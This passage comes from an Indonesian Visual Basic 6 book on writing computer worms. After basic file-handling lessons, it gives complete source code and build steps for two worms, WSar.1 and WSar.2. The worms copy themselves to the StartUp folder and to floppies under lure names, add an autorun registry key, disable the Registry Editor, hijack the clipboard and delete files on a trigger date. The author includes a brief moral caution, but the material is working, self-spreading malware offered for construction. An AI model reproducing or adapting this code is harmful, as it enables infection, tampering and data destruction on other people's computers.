6.8.5 MENGETAHUI BESAR FILE


Untuk mengetahui besar kapasitas suatu file, bisa menggunakan sintaksis berikut ini: FileLen([filename]) filename : menentukan path dan file yang akan di ketahui besar file-nya.

93

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

Contoh, untuk mengetahui kapasitas pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox FileLen("c:\windows\calc.exe")

6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE


Untuk mengetahui kapan suatu file dibuat, bisa menggunakan sintaksis berikut ini: FileDateTime([filename]) filename : menentukan path dan file yang akan di ketahui tanggal atau waktu file-nya. Contoh, untuk mengetahui tanggal dan waktu pada file: "c:\windows\ calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox FileDateTime("c:\windows\calc.exe")

Bab 6. Kode program

6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF


Untuk mengetahui direktori apa yang sedang aktif, bisa menggunakan sintaksis berikut ini: CurDir([drive]) drive : menentukan drive pada harddisk yang akan diketahui direktori aktifnya, apabila drive tidak ditentukan maka secara default akan diatur pada drive yang aktif saat itu.

Jasakom

94

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Contoh, untuk mengetahui direktori aktif pada drive C dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox CurDir("C")

6.8.8 MENGATUR DRIVE AKTIF


Untuk membuat suatu drive menjadi aktif, bisa menggunakan sintaksis berikut ini: ChDrive([drive]) drive : menentukan drive pada harddisk yang akan dijadikan drive aktif. Contoh, untuk mengatur drive aktif pada drive D, dapat menggunakan sintaksis berikut ini:
ChDrive("D")

6.8.9 MENGATUR DIREKTORI AKTIF


Untuk membuat suatu direktori menjadi aktif, bisa menggunakan sintaksis berikut ini: ChDir([directory]) directory : menentukan directory yang akan dijadikan direktori aktif. Contoh, untuk mengatur direktori aktif pada direktori: "C:\Windows", dapat menggunakan sintaksis berikut ini:
ChDir("C:\Windows")

95

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

6.8.10 MEMBUAT DIREKTORI BARU


Untuk membuat suatu direktori baru, bisa menggunakan sintaksis berikut ini: MkDir([path]) path : menentukan drive dan directory yang akan dibuat. Contoh, untuk membuat suatu direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini:
MkDir("C:\Contoh")

Bab 6. Kode program

6.8.11 MENGHAPUS DIREKTORI


Untuk menghapus suatu direktori, bisa menggunakan sintaksis berikut ini: RmDir([path]) path : menentukan drive dan directory yang akan dihapus. Contoh, untuk menghapus direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini:
RmDir("C:\Contoh")

Catatan : Untuk menghapus suatu direktori, maka direktori yang akan dihapus harus benar-benar empty (kosong), tidak berisi file atau sub-direktori apapun.

Jasakom

96

Computer Worm 1 - Secret of Undeground Coding : Uncensored

6.8.12 MENGUBAH NAMA DIREKTORI


Untuk mengubah nama suatu direktori, bisa menggunakan sintaksis berikut ini: Name [source] As [destination] source : menentukan drive, path dan direktori yang akan diubah

destination : menentukan nama direktori baru dengan drive dan path yang sama. Contoh, untuk mengubah nama direktori: "C:\Contoh" menjadi direktori: "C:\Misal" dapat menggunakan perintah berikut ini:
Name "C:\Contoh" As "C:\Misal"

6.9 OPERASI FILE TEXT


Dengan Visual Basic, pengoperasian file text menjadi mudah dan sederhana. Berikut ini akan diberikan contoh bagaimana membuka atau membuat suatu file text.

6.9.1 MEMBUAT FILE TEXT


Untuk membuat suatu file text baik yang memiliki ekstensi txt, bat, doc, vbs, htm, reg, ini, atau file batch lainnya, dapat menggunakan procedure sebagai berikut:
Open [filename] For Output As #num Print #num, ["text"] Close num

97

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

filename : menentukan path dan file yang akan berlaku sebagai output. Apabila terdapat file dengan nama dan path yang sama maka file tersebut akan di overwrite num text : bilangan Integer : isi dari file text yang ingin ditulis

Contoh, untuk membuat file: "c:\runner.bat", dapat menggunakan procedure, berikut ini:

Private Sub Form_Load() Dim filenya As String filenya = "c:\runner.bat" Open filenya For Output As #1 Print #1, "rem runner winword.exe w32.exe" Print #1, "command /c %1" Print #1, "command /c %2" Close(1) End Sub

Bab 6. Kode program

6.9.2 MEMBACA FILE TEXT


Untuk membaca suatu file text, dapat menggunakan procedure sebagai berikut: Open [filename] For Input As #num [content] = Input(LOF(num), num) Close num filename : menentukan path dan file yang akan berlaku sebagai input num : bilangan integer content : variabel yang mewakili isi dari file text

Jasakom

98

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Contoh, untuk membaca file: "c:\runner.bat" dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filenya, isifile as string filenya = "c:\runner.bat" Open filenya For Input As #1 isifile = Input(LOF(1),1) Close 1 Text1.text = isifile End Sub

6.10 OPERASI FILE BINARY


Seperti pada pengoperasian file text, maka kita dapat memproses file binary dengan cara yang hampir sama. Berikut akan di contohkan bagaimana memanfaatkan suatu file binary. Untuk membuka suatu file binary, bisa menggunakan statement Open dengan opsi For Binary. Untuk membaca isi file digunakan statement Get, kemudian menggunakan statement Put untuk operasi penulisan. Bab 6. Kode Program

6.10.1 MEMBUAT FILE BINARY


Untuk membuat atau menulis suatu file binary, dapat menggunakan procedure sebagai berikut: content = ["text"] Open destination For Binary Access Write As #1 Put #1, , content Close #1 destination : menentukan path dan file yang akan berlaku sebagai output content : variabel yang mewakili isi dari file

99

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Contoh, untuk membuat file: "c:\contoh.bat" dengan isi file berupa teks "echo belajar file binary", dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filename, content As String filename = "c:\contoh.bat" content = "echo belajar file binary" Open filename For Binary Access Write As #1 Put #1, , content Close #1 End Sub

6.10.2 MEMBACA FILE BINARY


Untuk membaca suatu file binary, dapat menggunakan procedure sebagai berikut: Bab 6. Kode program content = Space(FileLen(filename)) Open filename For Binary Access Read As #1 Get #1, , content Close #1 filename : menentukan path dan file yang akan berlaku sebagai input content : variabel yang mewakili isi dari file

Contoh, untuk membaca file: "c:\windows\notepad.exe" dan menampilkan huruf mulai dari karakter ke 113 hingga 4 karakter dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filename, content As String filename = "c:\windows\notepad.exe" content = Space(FileLen(filename)) Open filename For Binary Access Read As #1 Get #1, , content Close #1 Text1.text = Mid(content, 113, 4) End Sub

Jasakom

100

Computer Worm 1 - Secret of Undeground Coding : Uncensored

6.11 FILE SYSTEM OBJECT (FSO)


Visual basic 6.0 menyertakan sebuah library yang meliputi perintahperintah dasar seperti delete, copy, move dan lain-lain, serta mampu mendapatkan suatu informasi eksternal yang umumnya tidak terdapat pada function Visual Basic. Bentuk umumnya adalah sebagai berikut: Set fso = CreateObject("scripting.filesystemobject") fso.myobject 1. fso : variabel untuk pembuatan suatu object 2. myobject : variabel yang mewakili suatu object Contoh, untuk mengetahui direktori System pada Windows dan menampilkannya pada suatu kotak pesan, dapat menggunakan procedure berikut ini: Bab 6. Kode Program
Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting. filesystemobject") MsgBox fso.GetSpecialFolder(1) End Sub

Berikut adalah beberapa function yang dapat digunakan: Sintaksis


CopyFile Source, Destination, [Overwrite] CopyFolder Source, Destination, [Overwrite] CreateFolder(Path) As Folder CreateTextFile(FileName, [Overwrite], [Unicode]) As TextStream DeleteFile FileSpec, [Force]

Keterangan
Digunakan untuk meng-copy file Digunakan untuk meng-copy folder beserta isi-isinya Digunakan untuk membuat suatu direktori atau folder baru Digunakan untuk membuat suatu file text Digunakan untuk menghapus satu atau lebih file dan bisa menggunakan wildcards; atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut read only

101

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

DeleteFolder(FolderSpec, [Force])

Digunakan untuk menghapus suatu folder beserta isi-isinya, atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut Read only Memberikan nilai true jika drive yang ditentukan ada Memberikan nilai true jika file yang ditentukan ada Memberikan nilai true jika folder yang ditentukan ada Mengambil drive dari suatu path Mengambil ekstensi dari file Mengambil nama file dan ekstensi tanpa path lengkap Untuk mendapatkan folder induk dari suatu path Untuk mendapatkan suatu folder spesial pada Windows. 0: untuk Windows Folder 1: untuk System Folder 2: untuk Temporary Folder

DriveExists(DriveName) FileExists(FileName) FolderExists(FolderName) GetDriveName(Path) GetExtensionName(FileName) GetFileName(FileName)

Bab 6. Kode program

GetParentFolderName(Path) GetSpecialFolder(SpecialFolder) As Folder

MoveFile(Source, Destination) MoveFolder(Source, Destination)

Digunakan untuk memindahkan suatu file ke lokasi berbeda Digunakan untuk memindahkan suatu folder ke lokasi berbeda

Contoh lain, untuk meng-copy file dari: "c:\windows\notepad.exe" ke direktori A pada disket, dapat menggunakan procedure berikut ini:
Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting.filesystemobject") fso.copyfile "c:\windows\notepad.exe", "a:\" End Sub

Jasakom

102

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 7 WORM WSar.1

Kenapa bab ini ada? Bab ini adalah salah satu bab inti dari buku ini, yang memuat tentang cara-cara pembuatan worm. Perlu untuk penulis ingatkan kembali, bahwa membicarakan masalah pembuatan suatu worm membutuhkan pemahaman tentang tanggung jawab moral yang besar, karena worm dapat menimbulkan kerugian yang sangat besar baik berupa materiil maupun non materiil. Namun demikian, penulis tetap memberikan trik-trik real yang digunakan para worm writer dalam membuat suatu worm, karena akan mengingatkan pembaca semua, bahwa worm adalah program yang sangat berbahaya dan dapat dibuat dengan mudah.

103

Jasakom

Bab 7. Worm WSar.1

Computer Worm 1 - Secret of Underground Coding : Uncensored

anyak jalan menuju Roma, mungkin ungkapan ini tidak berlaku pada proses hacking saja tetapi juga sangat cocok apabila ungkapan ini digunakan dalam proses pembuatan suatu worm.

Sudah menjadi suatu rahasia umum dimana para worm writer selalu mencari vulnerability baru karena vulnerability lama kebanyakan sudah memiliki patch untuk memperbaiki celah tersebut, baik dari vendor antivirus maupun dari vendor aplikasi atau sistem operasi itu sendiri. Teknik yang dibuatpun menjadi beragam, penulis sendiri menemukan beberapa trik yang akan dipaparkan pada bab ini. Sebagai persiapan awal untuk membuat suatu worm, virus atau malcode lain, ada beberapa ketentuan yang harus diperhatikan: 1. Jika memungkinkan, sangat disarankan untuk menggunakan komputer tersendiri yang khusus digunakan untuk keperluan ini, dan tidak digunakan oleh banyak orang 2. Gunakan program pembantu seperti ShadowUser atau DeepFreeze,. Program ini akan membatalkan setiap perubahan yang dilakukan bahkan perubahan yang terjadi pada boot sector, sehingga walaupun partisi pada harddisk tak sengaja terformat oleh worm, hanya dengan me-restart komputer maka segalanya akan kembali seperti semula. Program ini hanya mengembalikan perubahan pada saat komputer di restart, jadi jika ternyata perlu me-restart komputer untuk melihat efek perubahan dari suatu worm, maka cukup dengan melakukan Log Off dan kemudian Log In kembali, karena proses ini akan menimbulkan efek yang sama dengan restart komputer. Untuk program DeepFreeze disarankan agar membuat partisi lebih dari satu, misalnya dengan membuat dua partisi dimana partisi C: sebagai drive System Windows dan partisi D: sebagai drive data, kemudian instalkan DeepFreeze hanya pada drive C: saja sehingga data source code yang tersimpan pada drive D: tidak terganggu oleh DeepFreeze. Sementara untuk program ShadowUser lebih flexibel. Anda tinggal menentukan folder apa saja yang ingin dibebaskan dari proteksi

Bab 7. Worm WSar.1

Jasakom

104

Computer Worm 1 - Secret of Undeground Coding : Uncensored

3. Gunakan program pembantu seperti Virtual PC atau VMWare,. Program ini akan mensimulasikan suatu komputer maya sekaligus dengan jaringannya. Kita dapat membuat suatu lab komputer dengan sistem operasi yang berbeda sekaligus. Keuntungan lain ternyata kita bisa membuat clonning dari suatu komputer virtual, sehingga apabila system suatu komputer virtual sudah tidak bisa diselamatkan lagi, kita dapat mengganti baru dengan backup clonning yang sudah kita siapkan. Lagi pula kita tidak perlu berpindah-pindah tempat untuk mengoperasikannya. Penulis juga menyarankan agar menggunakan aplikasi Visual Basic 6.0 Enterprise, karena untuk versi lain seperti Visual Basic 6.0 Learning Edition penulis menemukan batasan-batasan dan ada fasilitas yang tidak bisa digunakan. Bab 7. Worm WSar.1

7.1 WORM DASAR 1


Suatu worm dasar dapat dipandang sebagai satu set instruksi berisi sedikitnya tiga sub-rutin yang terpasang. Sub-rutin yang pertama berfungsi untuk melakukan penularan dengan cara membuat clonning (salinan) dirinya sendiri pada suatu system komputer, media penyimpanan atau melalui suatu jaringan. Sub-rutin yang kedua berfungsi sebagai live defender (rutin untuk bertahan hidup), yang akan memastikan suatu worm tetap eksis pada suatu host system Sub-rutin yang ketiga berfungsi sebagai pengatur payload (muatan maksud tertentu) yang mendikte suatu tindakan untuk dieksekusi. Payload ini pada teorinya bisa berupa apa saja seperti menghapus data, memasang backdoor atau memformat harddisk. Sub-rutin pelengkap lainnya bisa saja sebagai penentu kapan payload tersebut dilakukan.

105

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

7..2 ALGORITMA
Worm ini bernama WSar.1 (worm dasar 1) yang menggunakan icon dengan gambar sebuah folder dan nama yang unik agar menarik minat user untuk mengeksekusinya, merupakan worm yang sangat sederhana sekali, sehingga hanya dapat menginfeksi sistem operasi Windows 9x dan ME yang terinstal secara default pada drive C. WSar.1 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp pada Startmenu 3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A 4. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.1 Ada Pada Komputer Anda" dan menghentikan segala aktifitas worm pada hari tersebut.

Bab 7. Worm WSar.1

7.3 PEMROGRAMAN
Buka aplikasi Visual Basic. Pada kotak dialog New Project klik icon Standard EXE pada tab New dan klik Open, untuk menampilkan kotak dialog New Project bisa dengan klik File pada menubar kemudian pilih New Project.

Jasakom

106

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Visual basic secara otomatis memberikan sebuah project dengan nama default Project1 dan sebuah form di dalamnya dengan nama default Form1.

Sebagai langkah pertama, aturlah Project Properties dengan mengklik kanan nama project pada jendela Project Explorer yang dalam hal ini nama project masih bernama Project1, kemudian klik 'Project1 Properties

107

Jasakom

Bab 7. Worm WSar.1

Computer Worm 1 - Secret of Underground Coding : Uncensored

Akan tampil kotak dialog Project Properties dan berada pada tab General. Ganti Project Name dari nama Project1 menjadi nama worm yaitu: WSar. Dalam pengisian Project Name, tidak boleh menggunakan spasi, tanda titik, tanda koma atau karakter spesial lainnya. Untuk melanjutkan pindah ke menu Make dengan mengklik tab Make.

Bab 7. Worm WSar.1

Ganti Application Title dari nama Project1 menjadi nama worm yaitu: WSar.1 kemudian hapus value untuk setiap Type pada frame Version Information, terutama untuk Type Company Name. Tentunya Anda tidak ingin nama perusahaan tempat Anda bekerja menjadi terkenal oleh worm ini bukan ? Jika value yang dihapus ternyata kembali saat project di-load Anda bisa menghapusnya lagi dan menambahkan sebuah karakter spasi. Kemudian pindah ke menu Compile dengan mengklik tab Compile.

Jasakom

108

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Pilih opsi Compile to P-Code. Opsi ini akan membuat program yang dihasilkan berukuran lebih kecil daripada menggunakan opsi Compile to Native Code. Akhiri dengan menekan tombol OK.

Langkah kedua adalah mengatur properties pada form, dengan mengklik nama form pada jendela Project Explorer. Dalam hal ini, nama form masih bernama Form1, secara otomatis segala properti pada Form1 akan ditampilkan pada jendela Properties. Anda juga bisa meng-klik ComboBox pada jendela Properties dan pilih object Form1.

109

Jasakom

Bab 7. Worm WSar.1

Computer Worm 1 - Secret of Underground Coding : Uncensored

Kemudian atur jenis properti berikut ini pada Form1: Jenis


Name Icon

Nilai
frmWSar1 (Icon)

Keterangan
Mengatur nama form menjadi frmWSar1 Pilih icon yang akan digunakan pada form, WSar.1 menggunakan icon folder. ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.

ShowInTaskbar Visible

False False

Langkah ketiga adalah menambahkan object Timer pada form yang bertujuan untuk melakukan perulangan terhadap instruksi tertentu tanpa memerlukan suatu interaksi oleh user. Untuk itu klik ganda object Timer pada toolbox yang akan membuat sebuah object Timer dengan nama default Timer1, kemudian atur jenis properti berikut ini pada Timer1: Bab 7. Worm WSar.1 Jenis
Name Enable Interval

Nilai
tmrWSar True 60000

Keterangan
Mengatur nama Timer menjadi tmrWSar Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Langkah keempat adalah mengetikan kode program worm. Untuk itu klik ganda bidang form hingga jendela Code Editor tampil dengan langsung membuat suatu sub 'Form Load. Anda juga bisa mengklik nama form pada jendela Explorer, klik tombol View Code kemudian klik ComboBox Object pada Code Editor dan pilih Form, klik ComboBox Event dan pilih Load.

Jasakom

110

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Ketik kode program berikut ini:


'WSar.1 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _ "em File.exe")) = 0 Then FileCopy(WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe") End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

111

Jasakom

Bab 7. Worm WSar.1

Computer Worm 1 - Secret of Underground Coding : Uncensored

Berikut penjelasan tentang kode program:


'WSar.1 by Achmad Darmal 'Tarakan, Kalimantan Timur Indonesia Option Explicit

Dua baris teratas adalah baris komentar, diawali dengan single quote. Biasanya digunakan untuk memberi keterangan tentang program atau apapun yang ingin programmer sampaikan kepada pengguna kode tersebut. Statement Option Explicit pada baris ketiga memastikan agar seluruh variabel dideklarasikan.
Private Sub Form_Load()

Baris ini menandakan awal dari sebuah procedure, dalam hal ini adalah procedure yang akan dikerjakan pada event Form_Load, suatu kejadian saat form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan.
On Error Resume Next

Bab 7. Worm WSar.1

Statement ini akan sangat berguna apabila terjadi suatu kesalahan, karena program akan mengacuhkan kesalahan tersebut dan kemudian mengakses instruksi setelahnya.
If App.PrevInstance = True Then End

Jika file aplikasi yang sama sudah berjalan maka akhiri proses pengeksekusian file tersebut. Statement ini berguna untuk mencegah suatu file aplikasi yang sama dieksekusi lebih dari satu kali.
If Len(Dir$("C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe")) = 0 Then

Jika banyak karakter dalam pencarian "C:\WINDOWS\Start Menu\ Programs\StartUp\System File.exe" adalah 0 (nol) maka file tersebut tidak ditemukan (sebaliknya akan menghasilkan nilai 15 jika file tersebut ditemukan. Nilai 15 berasal dari jumlah karakter pada nama file), maka

Jasakom

112

Computer Worm 1 - Secret of Undeground Coding : Uncensored

FileCopy WormFile, "C:\WINDOWS\Start Menu\Prog" & _ "rams\StartUp\System File.exe"

FileCopy adalah function untuk membuat salinan suatu file. WormFile mewakili nama main file (file utama) yang terproses. WormFile adalah suatu function untuk mendapatkan full path (alamat penuh) file utama, Sedangkan "C:\WINDOWS\StartMenu\Programs\StartUp\System File.ex e" adalah lokasi dan nama file untuk tujuan penyalinan file,
If App.Path = "A:\" Or App.Path = "B:\" Then Unload Me End If

End Sub

Statement End Form_Load.

Sub

berfungsi

untuk

mengakhiri

procedure

Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End If End Sub

Memulai suatu procedure baru terhadap object tmrWSar (Timer), mengacuhkan error apabila terjadi dan mengeksekusi instruksi setelahnya. Jika file "A:\Game Collection.exe" tidak ditemukan maka meng-copy file utama ke drive A dengan nama "Game Collection.exe". Jika tanggal sekarang adalah 13 dan bulan sekarang adalah 10 (Okto-

113

Jasakom

Bab 7. Worm WSar.1

Jika path file utama pada drive A atau pada drive B maka akhiri aplikasi. Statement ini bertujuan untuk mencegah file worm yang berada pada disket bertahan di memory. Hal ini sebaiknya juga dilakukan untuk setiap removable disk, seperti disket dan usb disk. Akhirnya, End If digunakan untuk menutup statement If sebelumnya.

Computer Worm 1 - Secret of Underground Coding : Uncensored

ber) maka tampilkan pesan "WSar.1 Ada Pada Komputer Anda" serta bersihkan worm dari memory, sehingga untuk hari tersebut worm tidak akan melakukan aktifitas apapun.
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Function WormFile dibuat untuk mendapatkan path penuh file utama, dimulai dengan pendeklarasian WPath untuk lokasi dan WName untuk nama file, kemudian menentukan lokasi file utama dengan function App.Path dan menyimpannya dalam variabel WPath.. Jika satu karakter disebelah kanan nilai variabel WPath tidak sama dengan "\" maka nilai variabel WPath ditambahkan karakter "\" dibelakangnya, kemudian mengatur nilai variabel WName dengan nilai berupa nama file utama yang didapat dari function App.EXEName. Karena nama file yang didapatkan dari function ini belum memiliki ekstensi, maka ditambahkan string ".exe" dibelakangnya, menandakan file tersebut adalah file executable.

Bab 7. Worm WSar.1

Langkah kelima adalah menyimpan project yang telah selesai dibuat, dengan meng-click File pada menubar kemudian pilih Save Project.

Jasakom

114

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Kemudian akan tampil kotak dialog Save File As, yang berfungsi untuk menyimpan form, module dan sebagainya yang akan disimpan. Tentukan suatu folder atau buat folder baru dengan mengklik tombol New Folder.

Langkah terakhir adalah mengkompilasi project menjadi suatu file executable. Untuk itu klik File pada menubar, kemudian dalam hal ini klik Make WSar. Exe yang akan menampilkan kotak dialog Make Project,

115

Jasakom

Bab 7. Worm WSar.1

Berikutnya akan tampil kotak dialog Save Project As, yang berfungsi untuk menyimpan project secara keseluruhan.

Computer Worm 1 - Secret of Underground Coding : Uncensored

Isi TextBox File name dengan nama File Exe yang akan dibuat yang dalam contoh ini bernama WSar.exe. Pilih direktori tempat file tersebut akan diletakkan. Klik OK untuk memulai proses kompilasi. Catatan untuk WSar.1 : untuk lokasi direktori StartUp pada Windows 2000 dan XP secara default adalah sebagai berikut: 1. C:\Documents and Settings\Administrator\Start Menu\ Programs\startup 2. C:\Documents and Settings\All Users\Start Menu\Progra ms\ startup 3. C:\Documents and Settings\Default User\Start Menu\ Programs\ startup

Bab 7. Worm WSar.1


Jasakom

116

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 8 WORM WSar.2

8.1 ALGORITMA
WSar.2 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup

117

Jasakom

Bab 8. Worm WSar.2

orm ini bernama WSar.2 (worm dasar 2), suatu worm yang lebih cerdas dibandingkan WSar.1, karena sudah memanfaatkan WSH (Windows Scripting Host) untuk memanipulasi registry atau untuk mengetahui direktori spesial pada sistem operasi Windows, dan mencegah user untuk menjalankan aplikasi Registry Editor. Dengan demikian , worm ini tidak hanya mampu menulari sistem operasi Windows 9X dan ME tetapi juga akan menulari sistem operasi Windows NT, 2000 atau XP.

Computer Worm 1 - Secret of Underground Coding : Uncensored

3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan nama file "rindu.exe" 4. Dampak lain yang ditimbulkan adalah menyisipkan kata "Ohhhh... rinduuuu... dimanakah dirimu.... " setiap kali user menggunakan fungsi Paste pada aplikasi apa saja 5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda", menghapus semua file yang berekstensi tmp pada direktori Windows dan semua file yang berekstensi bak pada direktori System Windows serta seluruh file pada direktori temporary Windows, kemudian menghentikan segala aktifitas worm pada hari tersebut.

8.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, pada tab Make, atur Application Title menjadi 'WSar.2 dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK. Kemudian tambahkan 2 buah object Timer, dan atur properti berikut untuk masing-masing Timer dan form. Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible

Bab 8. Worm WSar.2

Nilai
frmWSar2 (Icon) False False

Keterangan
Mengatur nama form menjadi frmWSar2 Pilih icon yang akan digunakan pada form, WSar.2 menggunakan icon msword.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.

Jasakom

118

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti object Timer1 Jenis


Name Enable Interval

Nilai
tmrWSar2 True 60000

Keterangan
Mengatur nama Timer menjadi tmrWSar2 Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Properti object Timer2 Jenis


Name Enable Interval

Nilai
tmrIseng True 1000

Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik

'WSar.2 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dirimu.... ") End Sub Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub

119

Jasakom

Bab 8. Worm WSar.2

Ketik kode program berikut ini pada frmWSar2:

Computer Worm 1 - Secret of Underground Coding : Uncensored

Function RegString(ByVal HiveAndKey As String, ByVal Value As String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _ "System\DisableRegistryTools", 1) End Sub Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\CurrentVersio" & _ "n\Run\windll", sysfolder & "\" & "winfake.exe") End Sub Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If End Sub Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub

Bab 8. Worm WSar.2

Jasakom

120

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function Berikut penjelasan tentang kode program: 'WSar.2 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub

Call RegDisable berarti memanggil atau mengeksekusi procedure yang bernama RegDisable dan statement Call InfectSystem akan mengeksekusi procedure InfectSystem. Jika file utama berada pada drive A atau B maka segera akhiri proses file utama.
Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dir" & _ "imu.... ") End Sub

Statement Clipboard.Clear berfungsi untuk membersihkan data dari penyimpanan clipboard (clipboard berfungsi sebagai penyimpan sementara apabila user melakukan proses copy atau cut), kemudian statement berikutnya akan mengisi clipboard dengan data berupa teks " Ohhhh rinduuuu dimanakah dirimu. " yang akan disisipkan jika user melakukan proses paste.

121

Jasakom

